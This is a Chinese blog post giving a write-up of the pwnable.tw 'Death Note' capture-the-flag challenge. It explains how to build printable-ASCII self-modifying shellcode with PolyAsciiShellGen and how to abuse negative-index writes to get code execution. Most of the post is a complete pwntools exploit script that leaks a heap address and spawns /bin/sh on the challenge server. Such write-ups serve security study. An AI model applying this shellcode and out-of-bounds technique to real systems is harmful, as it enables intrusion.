pwnable tw Death Note writeup

原创

charlie_heng 于 2018-03-01 18:00:01 发布 869 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79415798

pwnable tw的题做到后面越来越骚了……脑洞太大…

这题其实是printable shellcode 一开始完全没思路，后面搜了下，发现了一个神器

https://github.com/VincentDary/PolyAsciiShellGen

能将shellcode转化为可打印字符

看了下生成的shellcode，发现其实它是利用 sub eax,xxxx 来将eax设置为任意值，然后push进栈，自修改代码

有了这个东西，有两个思路

1. 将ebx指向/bin/sh，eax值设为0xb，执行int 80
2. 替换掉strlen的got表的值，在调用strlen的时候，eax的指向的输入进来的东西，这个时候只要构造出一个jmp eax或者jmp 其他寄存器就可以了

我只试了第一个思路，第二个思路可以自行尝试

下面是payload

```
from pwn import *
import os

#p=process('./death_note')
p=remote('chall.pwnable.tw', 10201)
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])


shell= asm('push ebx')+asm('pop eax')


def moveax(addr,single=True):
    cmd='PolyAsciiShellGen/PolyAsciiShellGen '+str(addr)+' 1 "\\xcd\\x80"'
    o=os.popen(cmd,'r')
    tmp=o.read()
    if single:
        id=tmp.index(chr(0x50))
        return tmp[0x2:id]
    return tmp
```

```python
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)

def add(idx,name):
    se('1')
    ru('Index :')
    se(str(idx))
    ru('Name :')
    se(name)
    ru('Your choice :')

def show(idx):
    se('2')
    ru('Index :')
    se(str(idx))
    ru('Name : ')
    addr=u32(p.recv(4))
    ru('Your choice :')
    return addr

def delete(idx):
    se('3')
    ru('Index :')
    se(str(idx))
    ru('Your choice :')

add(-15,shell)

heap=show(-787)

delete(-15)


print(hex(heap))

shell += moveax(heap+0x51)
shell += asm('push eax')+asm('pop ebx')
shell += asm('push ecx')+asm('pop eax')
shell += moveax(11,False)[0x1d:0x2c]
shell += asm('push eax')+asm('pop esi')
shell += asm('push ecx')+asm('pop eax')
shell += moveax(11,False)[0x2:0x11]
shell += asm('push ebx')+asm('pop esp')
shell += asm('push esi')*8
shell += '/bin/sh'

add(-15,shell)

se('4')

p.interactive()
```